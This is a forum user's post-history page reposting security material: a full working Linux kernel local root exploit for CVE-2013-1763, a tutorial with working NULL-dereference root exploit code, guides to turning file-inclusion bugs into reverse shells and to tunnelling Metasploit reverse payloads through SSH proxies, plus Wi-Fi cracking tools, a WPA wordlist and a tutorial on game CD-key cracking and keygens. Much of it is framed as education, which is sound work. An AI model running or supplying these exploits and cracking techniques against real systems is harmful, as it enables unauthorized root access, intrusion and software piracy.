Jump to content

Nytro

Administrators
  • Posts

    18715
  • Joined

  • Last visited

  • Days Won

    701

Everything posted by Nytro

  1. CVE-2013-1763 SOCK_DIAG netlink Linux kernel 3.3-3.8 exploit /* * quick'n'dirty poc for CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8 * bug found by Spender * poc by SynQ * * hard-coded for 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux * using nl_table->hash.rehash_time, index 81 * * Fedora 18 support added * * 2/2013 */ #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <netinet/tcp.h> #include <errno.h> #include <linux/if.h> #include <linux/filter.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <linux/sock_diag.h> #include <linux/inet_diag.h> #include <linux/unix_diag.h> #include <sys/mman.h> typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; unsigned long sock_diag_handlers, nl_table; int __attribute__((regparm(3))) kernel_code() { commit_creds(prepare_kernel_cred(0)); return -1; } int jump_payload_not_used(void *skb, void *nlh) { asm volatile ( "mov $kernel_code, %eax\n" "call *%eax\n" ); } unsigned long get_symbol(char *name) { FILE *f; unsigned long addr; char dummy, sym[512]; int ret = 0; f = fopen("/proc/kallsyms", "r"); if (!f) { return 0; } while (ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym); if (ret == 0) { fscanf(f, "%s\n", sym); continue; } if (!strcmp(name, sym)) { printf("[+] resolved symbol %s to %p\n", name, (void *) addr); fclose(f); return addr; } } fclose(f); return 0; } int main(int argc, char*argv[]) { int fd; unsigned family; struct { struct nlmsghdr nlh; struct unix_diag_req r; } req; char buf[8192]; if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){ printf("Can't create sock diag socket\n"); return -1; } memset(&req, 0, sizeof(req)); req.nlh.nlmsg_len = sizeof(req); req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY; req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST; req.nlh.nlmsg_seq = 123456; //req.r.sdiag_family = 89; req.r.udiag_states = -1; req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN; if(argc==1){ printf("Run: %s Fedora|Ubuntu\n",argv[0]); return 0; } else if(strcmp(argv[1],"Fedora")==0){ commit_creds = (_commit_creds) get_symbol("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred"); sock_diag_handlers = get_symbol("sock_diag_handlers"); nl_table = get_symbol("nl_table"); if(!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){ printf("some symbols are not available!\n"); exit(1); } family = (nl_table - sock_diag_handlers) / 4; printf("family=%d\n",family); req.r.sdiag_family = family; if(family>255){ printf("nl_table is too far!\n"); exit(1); } } else if(strcmp(argv[1],"Ubuntu")==0){ commit_creds = (_commit_creds) 0xc106bc60; prepare_kernel_cred = (_prepare_kernel_cred) 0xc106bea0; req.r.sdiag_family = 81; } unsigned long mmap_start, mmap_size; mmap_start = 0x10000; mmap_size = 0x120000; printf("mmapping at 0x%lx, size = 0x%lx\n", mmap_start, mmap_size); if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) { printf("mmap fault\n"); exit(1); } memset((void*)mmap_start, 0x90, mmap_size); char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm unsigned long *asd = &jump[4]; *asd = (unsigned long)kernel_code; memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump)); if ( send(fd, &req, sizeof(req), 0) < 0) { printf("bad send\n"); close(fd); return -1; } printf("uid=%d, euid=%d\n",getuid(), geteuid() ); if(!getuid()) system("/bin/sh"); } Sursa si info: https://rdot.org/forum/showthread.php?p=30828
  2. Astia de la Oracle/Java sunt chiar ratati. E exact aceeasi metoda folosita la inca 70 de exploit-uri.
  3. [TABLE] [TR] [TD][TABLE=width: 100%] [TR] [TD=align: center] [/TD] [TD=align: justify] Instant PDF Password Remover is the FREE tool to instantly remove Password of protected PDF document. It can remove both User & Owner password along with all PDF file restrictions such as Copy, Printing, Screen Reader etc. [/TD] [/TR] [/TABLE] [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=align: justify]Often we receive password protected PDF documents in the form of mobile bills, bank statements or other financial reports. It is highly inconvenient to remember or type these complex and long passwords. 'Instant PDF Password Remover'helps you to quickly remove the Password from these PDF documents. Thus preventing the need to type these complex/long password every time you open such protected PDF documents. Note that it cannot help you to remove the unknown password. It will only help you to remove the KNOWN password so that you don't have to enter the password everytime while opening the PDF file. It makes it even easier with the 'Right Click Context Menu' integration. This allows you to simply right click on the PDF file and launch the tool. Also you can Drag & Drop PDF file directly onto the GUI window to start the password removal operation instantly. It can unlock PDF document protected with all versions of Adobe Acrobat Reader using different (RC4, AES) encryption methods. It comes with Installer for quick installation/un-installation. It works on wide range of Operating systems starting from Windows XP to Windows 8. [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD=class: page_subheader]Features [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] Instantly remove password of PDF document Support for PDF documents protected by all versions of Adobe Acrobat Reader Supports Standard RC4 (40-bit,128-bit), AES (128 bit, 256 bit) encryption Removes PDF User or Document Open passsword Removes PDF Owner Password Remove all the following Restrictions from PDF document Copying Printing Signing Commenting Changing the Document Document Assembly Page Extraction Filling of Form Fields [*] Right click Context Menu to quickly select & remove the PDF Password [*] Drag & Drop support for easier selection of PDF file. [*]Very easy to use with simple & attractive GUI screen [*] Open PDF file on successful removal of password [*] Support for local Installation and uninstallation of the software. [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD=class: page_subheader]PDF Password Secrets [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=align: justify]A protected PDF Document may have 2 kind of Passwords. User Password & Owner Password. User Password: It is also called as Document Open Password. It is required to open the protected or secure PDF file. Owner Password: Owner password is protect the restrictions imposed on the PDF file. Owner of PDF file may impose restrictions such as Copying, Printing, Signing, Editing etc. These restrictions are protected with so called Owner Password so that no one else can change it. Generally utility bills, bank & other financial documents are protected with User Password. In such case you can just enter this 'User Password' and open the document. Some times certain sensitive documents are protected with both user & owner password. In such cases you need to enter 'Owner Password' in 'Instant PDF Password Remover' to remove the password & all other restrictions. [/TD] [/TR] [/TABLE] Download: http://securityxploded.com/download.php#instantpdfpasswordremover More info: Instant PDF Password Remover: Free PDF Password & Restrictions Removal Tool
  4. [h=3]Much ado about NULL: Exploiting a kernel NULL dereference[/h][h=4]By nelhage on Apr 12, 2010[/h] Last time, we took a brief look at virtual memory and what a NULL pointer really means, as well as how we can use the mmap(2) function to map the NULL page so that we can safely use a NULL pointer. We think that it's important for developers and system administrators to be more knowledgeable about the attacks that black hats regularly use to take control of systems, and so, today, we're going to start from where we left off and go all the way to a working exploit for a NULL pointer dereference in a toy kernel module. A quick note: For the sake of simplicity, concreteness, and conciseness, this post, as well as the previous one, assumes Intel x86 hardware throughout. Most of the discussion should be applicable elsewhere, but I don't promise any of the details are the same. [h=3]nullderef.ko[/h] In order to allow you play along at home, I've prepared a trivial kernel module that will deliberately cause a NULL pointer derefence, so that you don't have to find a new exploit or run a known buggy kernel to get a NULL dereference to play with. I'd encourage you to download the source and follow along at home. If you're not familiar with building kernel modules, there are simple directions in the README. The module should work on just about any Linux kernel since 2.6.11. Don't run this on a machine you care about – it's deliberately buggy code, and will easily crash or destabilize the entire machine. If you want to follow along, I recommend spinning up a virtual machine for testing. While we'll be using this test module for demonstration, a real exploit would instead be based on a NULL pointer dereference somewhere in the core kernel (such as last year's sock_sendpage vulnerability), which would allow an attacker to trigger a NULL pointer dereference -- much like the one this toy module triggers -- without having to load a module of their own or be root. If we build and load the nullderef module, and execute echo 1 > /sys/kernel/debug/nullderef/null_read our shell will crash, and we'll see something like the following on the console (on a physical console, out a serial port, or in dmesg): BUG: unable to handle kernel NULL pointer dereference at 00000000 IP: [<c5821001>] null_read_write+0x1/0x10 [nullderef] [h=3]The kernel address space[/h] e We saw last time that we can map the NULL page in our own application. How does this help us with kernel NULL dereferences? Surely, if every application has its own address space and set of addresses, the core operating system itself must also have its own address space, where it and all of its code and data live, and mere user programs can't mess with it? For various reasons, that that's not quite how it works. It turns out that switching between address spaces is relatively expensive, and so to save on switching address spaces, the kernel is actually mapped into every process's address space, and the kernel just runs in the address space of whichever process was last executing. In order to prevent any random program from scribbling all over the kernel, the operating system makes use of a feature of the x86's virtual memory architecture called memory protection. At any moment, the processor knows whether it is executing code in user (unprivileged) mode or in kernel mode. In addition, every page in the virtual memory layout has a flag on it that specifies whether or not user code is allowed to access it. The OS can thus arrange things so that program code only ever runs in "user" mode, and configures virtual memory so that only code executing in "kernel" mode is allowed to read or write certain addresses. For instance, on most 32-bit Linux machines, in any process, the address 0xc0100000 refers to the start of the kernel's memory – but normal user code is not allowed to read or write it. A diagram of virtual memory and memory protection Since we have to prevent user code from arbitrarily changing privilege levels, how do we get into kernel mode? The answer is that there are a set of entry points in the kernel that expect to be callable from unprivileged code. The kernel registers these with the hardware, and the hardware has instructions that both switch to one of these entry points, and change to kernel mode. For our purposes, the most relevant entry point is the system call handler. System calls are how programs ask the kernel to do things for them. For example, if a programs want to write from a file, it prepares a file descriptor referring to the file and a buffer containing the data to write. It places them in a specified location (usually in certain registers), along with the number referring to the write(2) system call, and then it triggers one of those entry points. The system call handler in the kernel then decodes the argument, does the write, and return to the calling program. This all has at least two important consequence for exploiting NULL pointer dereferences: First, since the kernel runs in the address space of a userspace process, we can map a page at NULL and control what data a NULL pointer dereference in the kernel sees, just like we could for our own process! Secondly, if we do somehow manage to get code executing in kernel mode, we don't need to do any trickery at all to get at the kernel's data structures. They're all there in our address space, protected only by the fact that we're not normally able to run code in kernel mode. We can demonstrate the first fact with the following program, which writes to the null_read file to force a kernel NULL dereference, but with the NULL page mapped, so that nothing goes wrong: (As in part I, you'll need to echo 0 > /proc/sys/vm/mmap_min_addr as root before trying this on any recent distribution's kernel. While mmap_min_addr does provide some protection against these exploits, attackers have in the past found numerous ways around this restriction. In a real exploit, an attacker would use one of those or find a new one, but for demonstration purposes it's easier to just turn it off as root.) #include <sys/mman.h> #include <stdio.h> #include <fcntl.h> int main() { mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0); int fd = open("/sys/kernel/debug/nullderef/null_read", O_WRONLY); write(fd, "1", 1); close(fd); printf("Triggered a kernel NULL pointer dereference!\n"); return 0; } Writing to that file will trigger a NULL pointer dereference by the nullderef kernel module, but because it runs in the same address space as the user process, the read proceeds fine and nothing goes wrong – no kernel oops. We've passed the first step to a working exploit. [h=3]Putting it together[/h] To put it all together, we'll use the other file that nullderef exports, null_call. Writing to that file causes the module to read a function pointer from address 0, and then call through it. Since the Linux kernel uses function pointers essentially everywhere throughout its source, it's quite common that a NULL pointer dereference is, or can be easily turned into, a NULL function pointer dereference, so this is not totally unrealistic. So, if we just drop a function pointer of our own at address 0, the kernel will call that function pointer in kernel mode, and suddenly we're executing our code in kernel mode, and we can do whatever we want to kernel memory. We could do anything we want with this access, but for now, we'll stick to just getting root privileges. In order to do so, we'll make use of two built-in kernel functions, prepare_kernel_cred and commit_creds. (We'll get their addresses out of the /proc/kallsyms file, which, as its name suggests, lists all kernel symbols with their addresses) struct cred is the basic unit of "credentials" that the kernel uses to keep track of what permissions a process has – what user it's running as, what groups it's in, any extra credentials it's been granted, and so on. prepare_kernel_cred will allocate and return a new struct cred with full privileges, intended for use by in-kernel daemons. commit_cred will then take the provided struct cred, and apply it to the current process, thereby giving us full permissions. Putting it together, we get: #include <sys/mman.h> #include <stdio.h> #include <stdlib.h> #include <fcntl.h> struct cred; struct task_struct; typedef struct cred *(*prepare_kernel_cred_t)(struct task_struct *daemon) __attribute__((regparm(3))); typedef int (*commit_creds_t)(struct cred *new) __attribute__((regparm(3))); prepare_kernel_cred_t prepare_kernel_cred; commit_creds_t commit_creds; /* Find a kernel symbol in /proc/kallsyms */ void *get_ksym(char *name) { FILE *f = fopen("/proc/kallsyms", "rb"); char c, sym[512]; void *addr; int ret; while(fscanf(f, "%p %c %s\n", &addr, &c, sym) > 0) if (!strcmp(sym, name)) return addr; return NULL; } /* This function will be executed in kernel mode. */ void get_root(void) { commit_creds(prepare_kernel_cred(0)); } int main() { prepare_kernel_cred = get_ksym("prepare_kernel_cred"); commit_creds = get_ksym("commit_creds"); if (!(prepare_kernel_cred && commit_creds)) { fprintf(stderr, "Kernel symbols not found. " "Is your kernel older than 2.6.29?\n"); } /* Put a pointer to our function at NULL */ mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0); void (**fn)(void) = NULL; *fn = get_root; /* Trigger the kernel */ int fd = open("/sys/kernel/debug/nullderef/null_call", O_WRONLY); write(fd, "1", 1); close(fd); if (getuid() == 0) { char *argv[] = {"/bin/sh", NULL}; execve("/bin/sh", argv, NULL); } fprintf(stderr, "Something went wrong?\n"); return 1; } (struct cred is new as of kernel 2.6.29, so for older kernels, you'll need to use this this version, which uses an old trick based on pattern-matching to find the location of the current process's user id. Drop me an email or ask in a comment if you're curious about the details.) So, that's really all there is. A "production-strength" exploit might add lots of bells and whistles, but, there'd be nothing fundamentally different. mmap_min_addr offers some protection, but crackers and security researchers have found ways around it many times before. It's possible the kernel developers have fixed it for good this time, but I wouldn't bet on it. ~nelhage One last note: Nothing in this post is a new technique or news to exploit authors. Every technique described here has been in active use for years. This post is intended to educate developers and system administrators about the attacks that are in regular use in the wild. Sursa: https://blogs.oracle.com/ksplice/entry/much_ado_about_null_exploiting1
  5. Eu l-am mutat. Iti dadeam si warn dar mi-a fost lene. Categoria aceasta este pentru sugestiile PENTRU FORUM, nu pentru voi. In descrierea categoriei apare: "Vreti un forum mai bun? Orice sugestie din partea voastra va fi analizata. Doar sugestii pentru site/forum."
  6. [h=2]Mitigating Null Pointer Exploitation on Windows[/h]Posted by Tarjei Mandt on July 7, 2011 As part of a small research project, I recently looked into how exploitation of null pointer vulnerabilities could be mitigated on Windows. The problem with many of the recent vulnerabilities affecting Windows kernel components is that a large number of these issues can be exploited provided that the attacker maps and controls the contents of the null page. As many of you probably know, Windows allows non-privileged users to map the null page through functions such as NtAllocateVirtualMemory or NtMapViewOfFile. Although there are multiple ways to approach the problem, the solution proposed relies on manipulation of virtual address descriptors (VADs) using a kernel-mode driver. As VADs are used to implement the PAGE_NOACCESS protection in Windows and contain special properties to secure address ranges in process memory, they can be used to deny null page access in both user and kernel space. The following paper details the proposed mitigation and suggests a possible implementation. Locking Down the Windows Kernel: Mitigating Null Pointer Exploitation [PDF] Abstract. One of the most prevalent bug classes affecting Windows kernel components today is undeniably NULL pointer dereferences. Unlike other platforms such as Linux, Windows (in staying true to backwards compatibility) allows non-privileged users to map the null page within the context of a user process. As kernel and user-mode components share the same virtual address space, an attacker may potentially be able to exploit kernel null dereference vulnerabilities by controlling the dereferenced data. In this paper, we propose a way to generically mitigate NULL pointer exploitation on Windows by restricting access to the lower portion of process memory using VAD manipulation. Importantly, as the proposed method employs features already present in the memory manager and does not introduce any offending hooks, it can be introduced on a wide range of Windows platforms. Additionally, because the mitigation only introduces minor changes at process creation-time, the performance cost is minimal. Sursa: Mitigating Null Pointer Exploitation on Windows | !pool @eax
  7. [h=2]Windows Hooks of Death: Kernel Attacks through User-Mode Callbacks[/h] Posted by Tarjei Mandt on August 11, 2011 At Black Hat USA 2011, I presented the research that lead up to the 44 vulnerabilities addressed in MS11-034 and MS11-054. These vulnerabilities were indirectly introduced by the user-mode callback mechanism which win32k relies upon to interact with data stored in user-mode as well as provide applications the ability to instantiate windows and event hooks. In invoking a user-mode callback, win32k releases the global lock it aquires whenever making updates to data structures and objects managed by the Window Manager (USER). In doing so, applications are free to modify the state of management structures as well as user objects by invoking system calls from within the callback itself. Thus, upon returning from a user-mode callback, win32k must perform extensive validation in order to make sure that any changes are accounted for. Failing to properly validate such changes could result in vulnerabilities such as null-pointer derferences and use-after-frees. The slide deck for the Black Hat presentation as well as the accompanied whitepaper, outlines several of the vulnerabilities that may arise from the lack of user-mode callback validation. In particular, we look at the importance of user object locking, validating object and data structure state changes, and ensuring that reallocatable buffers are sufficiently validated. In order to assess the severity of the mentioned vulnerabilities, we also investigate their exploitability and with that, show how an attacker very easily (e.g. using kernel pool or heap manipulation) could obtain arbitrary kernel code execution. Finally, because vulnerability classes such as use-after-frees and null-pointer dereferences have been (and still are?) extremely prevalent in win32k, we conclude by evaluating ways to mitigate their exploitability. In retrospect, Black Hat USA and DEFCON stands out as one of those great conferences where you get to meet many interesting people and can run into just about anyone. Having spent what now seems like a lifetime in win32k (ok, I may be loosely exaggerating…), meeting one of the past developers of the Window Manager whose code I had torn to pieces (sorry!), was one of those great moments that will be remembered for years to come. I also want to use this occasion to extend my gratitude and thanks to everybody that showed up for my talk. Your feedback is highly appreciated, and I would probably not have been doing this if it wasn’t for you guys. See you on the flipside! Kernel Attacks through User-Mode Callbacks: Slides Kernel Attacks through User-Mode Callbacks: Whitepaper Sursa: Windows Hooks of Death: Kernel Attacks through User-Mode Callbacks | !pool @eax
  8. [h=3]wifite r.68 - WEP/WPA Password Cracker for BT4[/h]Features: * this project is available in French: all thanks goto Matt² for his excellent translation! * sorts targets by power (in dB); cracks closest access points first * automatically deauths clients of hidden networks to decloak SSIDs * numerous filters to specify exactly what to attack (wep/wpa/both, above certain signal strengths, channels, etc) * customizable settings (timeouts, packets/sec, channel, change mac address, ignore fake-auth, etc) * "anonymous" feature; changes MAC to a random address before attacking, then changes back when attacks are complete * all WPA handshakes are backed up to wifite.py's current directory * smart WPA deauthentication -- cycles between all clients and broadcast deauths * stop any attack with Ctrl+C -- options: continue, move onto next target, skip to cracking, or exit * switching WEP attack methods does not reset IVs * intel 4965 chipset fake-authentication support; uses wpa_supplicant workaround * SKA support (untested) * displays session summary at exit; shows any cracked keys * all passwords saved to log.txt * built-in updater: ./wifite.py -upgrade Download: wifite download Source: wifite - automated wireless auditor - Google Project Hosting Sursa: Password Cracker | MD5 Cracker | Wordlist Download: wifite r.68 - WEP/WPA Password Cracker for BT4
  9. [h=3]WPA Wordlist Download - 13GB[/h]Looks like my wordlists got compiled into a large collection of wpa wordlists for download - well worth the bandwidth. =) Since it's a wpa wordlist, everything below 8 chars long was removed, which is bad for other practical uses - unless you bruteforce everything to the length of 8. Please note that i did not create this wpa wordlist torrent. Download (torrent): WPA Wordlist - 13GB More wordlists (not just for wpa) can be found here: More wordlist downloads Sursa: Password Cracker | MD5 Cracker | Wordlist Download: WPA Wordlist Download - 13GB
  10. Assembly Language Tutorial Please choose a tutorial page: Fundamentals -- Information about C Tools Registers Simple Instructions Example 1 -- SC CDKey Initial Verification Example 2 -- SC CDKey Shuffle Example 2b -- SC CDKey Final Decode The Stack Stack Example [*] Functions [*] Example 3 -- Storm.dll SStrChr [*] Assembly Summary Machine Code Example 4 -- Smashing the Stack Cracking a Game Example 5 -- Cracking a game Example 6 -- Writing a keygen .dll Injection and Patching Memory Searching Example 7 -- Writing a cheat for Starcraft (1.05) Example 7 Step 1 -- Displaying Messages Example 7 Step 1b -- Above, w/ func ptrs Example 7 Final [*] Example 8 -- Getting IX86.dll files [*] 16-bit Assembly [*] Example 9 -- Keygen for a 16-bit game [*] Example 10 -- Writing a loader Tutorial: http://www.skullsecurity.org/wiki/index.php/Fundamentals
  11. From web app LFI to shell spawn Web application LFI (Local File Inclusion) vulnerabilities are regularly underestimated both by penetration testers and developers. Despite the main threat of exposing critical system information contained at core files (such as “/etc/passwd“, “/boot.ini” and “/etc/issue“), LFI vulnerabilities may cause bigger problems to the victim server. Based on the source code that introduces a LFI vulnerability and under certain server configuration scenarios, the attacker may be able to run server side code and establish a reverse connection or a pseudo-shell over HTTP with the victim server. During the rest of the article an LFI vulnerability on a known E-Commerce CMS will be examined in a try to execute server side code and spawn a reverse shell. It is a common feature for web applications to implement file inclusion functionalities in order to dynamically change website’s content presented to users. The arguments to those file inclusion functions are regularly specified by the user under specially crafted parameters. LFI vulnerabilities are created due to improper input sanitization/validation for those user specified parameters. File inclusion functions are implemented using either include (or require) directives or any of the available file handle functions (fread, file_get_contents etc.). In case of file handle functions there aren’t many things to do because every imported file is processed as string. Although if an include directive is used, it is possible to execute server side code contained in the imported file. For more details about PHP import directives, you can referrer to include and require PHP manuals. The real challenge now is to find a way to store server side code into a file that is readable from the web service running user (www-data, wwwrun etc). This is not an easy task and might be even impossible under some server configuration setups. In this article two main methods are examined: 1) Web log poison and 2) World readable file upload (via anonymous FTP). For the article purposes a Debian pwnbox VM has been established implementing a vulnerable version of the osCSS2 E-Commerce CMS. The target web application was a random selection from the exploit-db archive. The vulnerable osCSS2 version and the LFI vulnerability details are available here. The CMS is written in PHP and is served from a running Apache web service. Consequently the following analysis focus on PHP + Apache system setup. 1) Web log poison Web log poison technique is effective when web service’s log files are readable by the user that PHP (or any other server side code) is running. Usually sysadmins choose the performance optimized (and easy to implement) way to run PHP as an Apache module. Consequently PHP is running under Apache user. Usually the default Apache setups limit the access to web logs only to root and administrator users and groups making the logs unaccessible for the web service user. Although, there exist many shared host services and misconfigured systems that serve readable web logs. To confirm that web logs are readable, the target server must be initially enumerated in order to locate the correct paths. In this case study the target system is known to be a Debian setup, so the web log paths are known too. For verification purposes GET requests can be executed to confirm read access. Many of you might wonder at this point why web logs are so important in LFI exploitation. The answer is pretty clear. Web logs’ content is defined mainly by the user interaction with the server. Web logs store user information, such as source IP, requested web path, refer URL, user agent, cookies etc. Let’s take for example the user agent field which stores information about the user’s broswer and system. If the attacker changes the default string used by the broswing application to a valid PHP code, this code will be stored in the Apache access log. Then by including the access log using the LFI vulnerability the PHP code is executed at the server side. In the following example the curl tool is used to poison the logs with PHP code (just calling the phpinfo() function). Instead of curl you can use famous plugins/addons for your web broswer or a third proxy tool (such as ZAP or Burp). Knowing now how server side code can be executed, a PHP system function can used to call external programs and spawn the reverse shell. 2) File upload via anonymous FTP During the target enumeration phase, service scanning has revealed a running ProFTPD service at port 21 allowing anonymous FTP logins with file upload permissions. By digging into application’s packages and default configurations, pentesters can gather useful information about possible system setups. Following this approach and with some experiments the store path for the uploaded files can be discovered. For the following case study, the anonymous file upload path is ‘/home/ftp‘. Initially the file containing the PHP code for the reverse connection is uploaded to the target server. After successfully enumerating the path for the anonymous FTP uploads, the ‘backdoor.php‘ file is included spawning the reverse shell. The above two methods are a small sample of the available techniques for storing tiny server side code chunks to readable files in the remote server. After detail enumeration of the target system, penetration testers can discover various other possible store points such as log files from third applications. The system and service enumeration process is vital for the attacks success. Penetration testers must carefully search for various existing protection directives/configurations (such as PHP open_basedir config) that might block such an attack. DISCLAIMER:I’m not responsible with what you do with this info. This information is for educational purposes only. A. Bechtsoudis Sursa: https://bechtsoudis.com/hacking/from-web-app-lfi-to-shell-spawn/
  12. Using SSH Socks Proxies with MSF Reverse TCP Payloads Regularly pentesters need to redirect their network traffic through various proxy hosts to access private network subnets, bypass firewall restrictions or hide their traces. Identifying those needs, professionals have armored their tool arsenal with various tunneling and forwarding tools in order to work efficiently under various network architectures and testing cases. Each working case strongly depends on the proxy host’s running services and obtained access level to those services. One of my favorite cases (and I believe to many others too) is the OpenSSH Socks Proxy scenario. Remote SSH access to the proxy host is available offering flexible ways to redirect network traffic via the SSH channel. However, there exist a main drawback in the Socks Proxy case, you “can’t” use the available reverse TCP payloads delivered with the Metasploit framework (and any other similar tools). Actually, this is not 100% true. There exist some OpenSSH forward features that can be used/combined to bypass this restriction. Many of you might say that there exist many alternatives to TCP reverse payloads such as PHP, Java, HTTP, DNS etc. That’s true, although many of them are application specific and are not fully stable under certain circumstances. Additionally, these alternatives might not be always applicable due to some exploitation restrictions. Some others might also say that Metasploit’s meterpreter pivot features (framework routes + port forward) can be used to redirect traffic through the proxy host, avoiding Socks usage. The drawback in this case is that if the proxy host is a linux box the matching meterpreter payload is not stable enough (at least it wasn’t when this post was written). Now that you have been convinced that under certain circumstances the Socks proxy is the only stable option, lets see how we can deal with the reverse TCP restrictions. When a reverse TCP payload is used, the victim host tries to connect back to the requestor’s source IP address. If SSH Socks proxy is used the source IP address from the victim’s perspective is the proxy’s IP address. Consequently, the reverse TCP payload will try to connect back to the proxy and not to the attacker’s address. The Metasploit framework successfully identifies this problem and raises an error exception when a socks proxy is used with a reverse TCP payload. The main concept to bypass this restriction is to use a forwarding mechanism in the proxy to deliver the network packets to the correct addresses when a reverse connection reaches the proxy. The presented methods are feasible when the following requirements are met: Available remote SSH access to the proxy host (single user or root, each case is analyzed separately) Proxy host has at least one unused firewall incoming (from the victim) allowed port Proxy host can access the target host For the rest of the article the following network topology will be used for the examine cases: Initially lets establish the SSH Socks proxy with the pivot host and test the socks proxy connectivity via the proxychains tool: The SSH socks proxy works and we can use it to access the victim host: Now if we try to use the Socks proxy with a reverse TCP payload, Metasploit raises an exception: OpenSSH port forward features can help us to bypass this restriction. Two cases will be examined according to the access level that the attacker has on the proxy host: Root Access: Modify OpenSSH configuration and use the remote port forward feature Single User Access: Use OpenSSH local port forward mechanism by establishing a second SSH channel For those not familiar with local & remote SSH port forward features you can refer to the end references. Before continuing lets disable metasploit’s reverse TCP socks proxy check to confirm both test cases under the framework. Lucky for us framework’s modular architecture makes such code hacks easy to implement. So just comment lines 68-70 at “lib/msf/core/handler/reverse_tcp.rb“ 1. Root Access to Proxy Host OpenSSH remote port forwarding feature is used to redirect incoming traffic to port 4444 on proxy host to port 53 on the attacker. As the OpenSSH manuals mentions, by default remote port forwarding will bind the proxy port (4444 in our case) on the localhost address. Binding to localhost will block victim incoming connections. So we need root access to modify the sshd configuration and enable GatewayPorts option. When the payload is triggered the network paths are as follow: Before proceeding to the framework usage lets check with some simple netcat connection that the setup works: If instead of the attacker’s IP address you use the localhost address, the forward channel will work like a charm (actually this is the correct approach), although metasploit’s session manager will fail to identify the connection and will crash. Some tcpdump debugging might help at this point to clarify how this forwarders and port binds work. Having confirmed that our proxy forwarder works lets proceed to the framework. A linux x86 reverse TCP stagged shell payload has been generated and uploaded to the victim host. To trigger the payload a relative PHP script has been placed at the web path. The tricky part while generating the payload is to use as LHOST the proxy’s IP address and as LPORT the port (4444 in this example) that is forwarded to the attacker by the proxy. Finally lets trigger the payload via a custom auxiliary module (a single GET request) and establish the reverse connection through the socks proxy: 2. Single User Access to Proxy Host Single user access to the proxy host means that we can’t set the GatewayPorts option at the SSHD configuration. So we need to find an alternative way to implement the forwarder. This time OpenSSH local port forward feature (-L) is used under a second SSH connection to localhost at the proxy host. The -g flag is used to bind the socket at 0.0.0.0 allowing incoming connections apart from localhost. Consequently the reverse connection path is as follow: The usual netcat tests before proceeding to the framework: And finally the socks proxy is also successfully working with reverse TCP payloads under the framework: Here are all the above screenshots in a slide gallery: Mission accomplished! We have managed to use reverse TCP payloads under SSH Socks proxies taking advantage of the various OpenSSH features. Of course someone might implement the port forwarding at the proxy host with various other ways (iptables, 3rd party tools etc). The OpenSSH way was chosen because it is already available in the SSH Socks proxy scenario and regularly pass undetected from the sysadmins, while a third party tool might trigger some alerts (of course iptables isn’t feasible in a single user access level case). It would be ideal if the above concept can be somehow implemented in the metasploit framework, making reverse TCP payloads available under certain socks proxy scenarios. References: LiNUX Horizon - SSH Port Forwarding (SSH Tunneling) Howto use SSH local and remote port forwarding http://www.metasploit.com Metasploit: Metasploit through Proxy Meterpreter Basics - Metasploit Unleashed Pivoting - Metasploit Unleashed —{ Update 11 June 2012 }— Proxy’s port forwarding back to the attacker can be also easily implemented with netcat. Be careful while using the netcat approach at its plaintext connections might trigger IDS/IPS rulesets. For stealthier communications try to establish an encrypted channel with the proxy (ncat, netcat + stunnel etc). A. Bechtsoudis Sursa: https://bechtsoudis.com/hacking/using-ssh-socks-proxies-with-msf-reverse-tcp-payloads/
  13. [h=1]Analysis of Buffer Overflow Attacks[/h][h=1]by Maciej Ogorkiewicz & Piotr Frej [Published on 8 Nov. 2002 / Last Updated on 23 Jan. 2013][/h] What causes the buffer overflow condition? Broadly speaking, buffer overflow occurs anytime the program writes more information into the buffer than the space it has allocated in the memory. This allows an attacker to overwrite data that controls the program execution path and hijack the control of the program to execute the attacker’s code instead the process code. For those who are curious to see how this works, we will now attempt to examine in more detail the mechanism of this attack and also to outline certain preventive measures. What causes the buffer overflow condition? Broadly speaking, buffer overflow occurs anytime the program writes more information into the buffer than the space it has allocated in the memory. This allows an attacker to overwrite data that controls the program execution path and hijack the control of the program to execute the attacker’s code instead the process code. For those who are curious to see how this works, we will now attempt to examine in more detail the mechanism of this attack and also to outline certain preventive measures. From experience we know that many have heard about these attacks, but few really understand the mechanics of them. Others have a vague idea or none at all of what an overflow buffer attack is. There also those who consider this problem to fall under a category of secret wisdom and skills available only to a narrow segment of specialists. However this is nothing except for a vulnerability problem brought about by careless programmers. Programs written in C language, where more focus is given to the programming efficiency and code length than to the security aspect, are most susceptible to this type of attack. In fact, in programming terms, C language is considered to be very flexible and powerful, but it seems that although this tool is an asset it may become a headache for many novice programmers. It is enough to mention a pointer-based call by direct memory reference mode or a text string approach. This latter implies a situation that 